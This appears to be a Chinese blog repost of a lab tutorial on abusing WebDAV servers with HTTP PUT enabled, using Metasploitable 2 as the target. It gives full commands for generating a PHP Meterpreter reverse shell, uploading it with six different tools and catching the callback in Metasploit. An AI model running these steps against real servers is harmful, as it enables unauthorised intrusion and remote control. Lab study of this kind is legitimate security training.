挖洞经验 | 多种针对开启HTTP PUT *** 的漏洞利用

访客3年前黑客文章578

今天分享的文章是对HTTP PUT *** 开启漏洞的多种应用讲析,在实战场景中,首先我们要确定目标网站是否启用了HTTP PUT *** ,如果启用的话,我们就可以结合多种利用工具和相关 *** ,向目标网站上传Meterpreter反弹shell,实现进一步的渗透控制。一起来看看。

HTTP PUT *** 介绍

HTTP PUT *** 最早目的用于文件管理操作,可以对网站服务器中的文件实现更改删除的更新操作,该 *** 往往可以导致各种文件上传漏洞,造成严重的网站攻击事件。在实际运用中,若必须启用该 *** ,则需要对该 *** 涉及的相关文件资源做好严格的访问权限控制。

测试环境

目标机器:Metasploitable 2 -IP地址192.168.1.103
攻击机器:Kali Linux -IP地址 192.168.1.105

Nikto扫描目标机器HTTP PUT *** 是否启用

假设我们的攻击机器Kali Linux IP地址为192.168.1.105,目标机器IP地址为192.168.1.103,且目标机器部署了WebDAV服务,一般情况下WebDAV会集成HTTP GET\PUT\POST\GET等多种 *** 。如下:

首先,我们需要确定目标机器是否开启HTTP PUT *** 。这里我们用到了扫描探测工具Nikto:

nikto -h http://192.168.1.103/dav/

从探测结果可知,目标机器启用了HTTP PUT *** ,那接下来,我们就考虑用多种 *** 向该目标机器中上传恶意PHP文件,实现进一步渗透控制。

用Msfvenom来生成反弹控制Shell

Msfvenom模块可用以下命令来自动生成我们想要的PHP反弹控制Shell,该Shell文件就是我们将要上传的恶意PHP文件:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.105 lport=4444 -f raw

复制以上黄色部份,即从<?php到die()的字段内容,并以名称shell.php保存在桌面(Desktop),以备后用。同时,我们用msfconsole命令打开Metasploit,使用模块multi/handler,执行PHP shell上传后的监听连接。

用Cadaver实现对HTTP PUT *** 的漏洞利用

Cadaver是Kali中用来执行从WebDAV中上传下载文件的一个命令行工具,通过以下命令进行目标机器dav目录:

cadaver http://192.168.1.103/dav/

然后,执行shell.php上传命令:

put /root/Desktop/shell.php

访问链接192.168.1.103/dav/查看shell.php是否上传成功,可见已经成功上传:

使用之前提到的Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,以命令exploit执行后续对本机192.168.1.105:4444的监听:

msf> use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.105
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

然后,我们访问刚才目标机器http://192.168.1.103/dav/中上传的shell.php文件,点击访问它,之后,在我们的Metasploit中即会返回一个监听反弹连接,接着输入命令meterpreter>sysinfo,即可查看到目标机器的相关操作系统信息:

用Nmap实现对HTTP PUT *** 的漏洞利用

Nmap是大家再熟悉不过的安全工具了,如果目标机器开启了PUT *** ,那么我们同样用Nmap可以执行shell上传,只不过我们需要事先定义好相关的上传路径和上传文件,这里就把上传路径为设置为/dav/,上传文件shell还是之前的shell.php,此处为了有所区分,我们把其名称变换为nmap.php:

nmap -p 80 192.168.1.103 --script http-put --script-args http-put.url='/dav/nmap.php',http-put.file='/root/Desktop/nmap.php'

nmap.php成功上传后,我们一样可通过目标机器中的URL链接访问确认:

同样的,使用Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,执行对本机192.168.1.105:4444的监听,然后我们访问目标机器上的nmap.php,Metasploit中就会成功返回一个控制连接shell:

用Poster实现对HTTP PUT *** 的漏洞利用

Poster是Firefox的一个应用插件,用来实现终端用户与远程Web服务端之间的HTTP交互,其中包含了GET, POST, PUT 和DELETE *** ,以及相应的请求内容和请求体构造。

这里,事先准备好需要上传的poster.php(即之前的shell.php),在Firefox中安装Poster插件,从Firefox菜单栏中打开Poster,在目标URL区域按照以下URL链接填入,并选择本地桌面的poster.php作为上传文件,执行PUT操作。

访问192.168.1.103/dav,确认poster.php被成功上传:

使用Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,执行对本机192.168.1.105:4444的监听,然后我们访问目标机器上的poster.php,Metasploit中就会成功返回一个控制连接shell:

用Burpsuite实现对HTTP PUT *** 的漏洞利用

Burpsuite是当前流行的测试利器了,通过配置拦截Intercept *** ,开启拦截Intercept is on后,我们访问http://192.168.1.103,即可在拦截区域中发现以下GET请求:

右键点击Send to the repeater,之后,我们把GET访求替换为PUT *** ,并定义相关上传文件,即PUT /dav/burp.php HTTP/1.1,另外还需把之前的shell.php内容粘贴在末尾,执行PUT请求,目标机器给出成功响应,如下图所示:

访问192.168.1.103/dav,确认burp.php已成功上传:

使用Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,执行对本机192.168.1.105:4444的监听,然后我们访问目标机器上的burp.php,Metasploit中就会成功返回一个控制连接shell:

用Metasploit实现对HTTP PUT *** 的漏洞利用

这里,我们还要说说用Metasploit本身来对PUT *** 的漏洞利用,用其内置的auxiliary/scanner/http/http_put模块就能完成相关shell文件meter.php的上传操作:
访问192.168.1.103/dav,确认meter.php已成功上传:
使用Metasploit模块multi/handler设置监听,访问目标机器上的meter.php,Metasploit监听进程就会成功返回一个控制连接shell:

用cURL实现对HTTP PUT *** 的漏洞利用

最后要说的当然还有cURL了,cURL也是一个流行的命令行HTTP交互工具,可用它来执行HTTPS, FTP, SCP, LDAP, Telnet等多种协议的通信交互。这里,我们用以下命令来执行对目标机器的shell文件curl.php的上传:

curl http://192.168.1.103/dav/ --upload-file /root/Desktop/curl.php -v

访问192.168.1.103/dav,确认curl.php已成功上传:
同样,使用Metasploit模块multi/handler设置监听,访问目标机器上的curl.php,成功返回对目标机器的控制连接shell:

参考来源:hackingarticles,编译整理:clouds,转载请注明来自Freebuf.com

相关文章

阿迪app是正品吗  adidas app无网络连接是怎么回事

阿迪app是正品吗 adidas app无网络连接是怎么回事

在19年年末的情况下阿迪达斯上线adidas app,这一针对许多篮球鞋游戏玩家還是很重要的下手方式,终究许多的限定篮球鞋都是以这儿下手的哈。阿迪达斯app是真品吗 adidas app无网络连接是...

怎么办才能找到黑客帮忙(怎么样可以找到黑客帮忙)

怎么办才能找到黑客帮忙(怎么样可以找到黑客帮忙)

本文目录一览: 1、被黑客黑后能找到黑客吗? 2、如何才能找到电脑黑客? 3、我被网络诈骗想找红客或黑客的帮助? 4、我的QQ被盗了,我一定要找出幕后黑手!!哪位好心人帮帮忙,大恩永生难忘...

小米走向美国 启用域名xiaomi.us?

在不久前的全世界移动互联交流会美国硅谷站,小米雷军会话DST CEO尤里·米尔纳时曾表明,红米手机将于年末示范点现代化。正因如此,红米手机迈向国际性确实很近了。如今日,就会有“小米手机迈向英国并...

我和我的祖国作文400(我和我的祖国)

我和我的祖国作文400(我和我的祖国) 小时候,妈妈曾指着地球仪对我说:“在世界的东方,有一个神奇而美丽、古老而年轻的国家,名叫中国。我们就是中国人。” 我的祖国伴我成长。 上学了,我光荣地成为了...

支付宝花呗借款利息怎么算(花呗5000分期利息计算方式)

支付宝花呗借款利息怎么算(花呗5000分期利息计算方式)

花呗贷款贷款利息高吗 严苛实际意义上而言,花呗贷款不属于大家基本了解的能够立即取款的借款商品,只可用以支付宝钱包、淘宝和天猫消費分期付款,依据蚂蚁花呗分期手续费详细介绍,每一期服务费=分...

法国法院支持显示专车位置 法国法院支持Uber显示专车位置

荷兰人民法院适用表明快车部位 荷兰人民法院适用Uber表明快车部位。近期一段时间Uber的新闻报道也是比较多,今日说的是国际性上的,日前在荷兰得到了一个挑戰管控规章制度的获胜,法院裁定在手机上表明快车...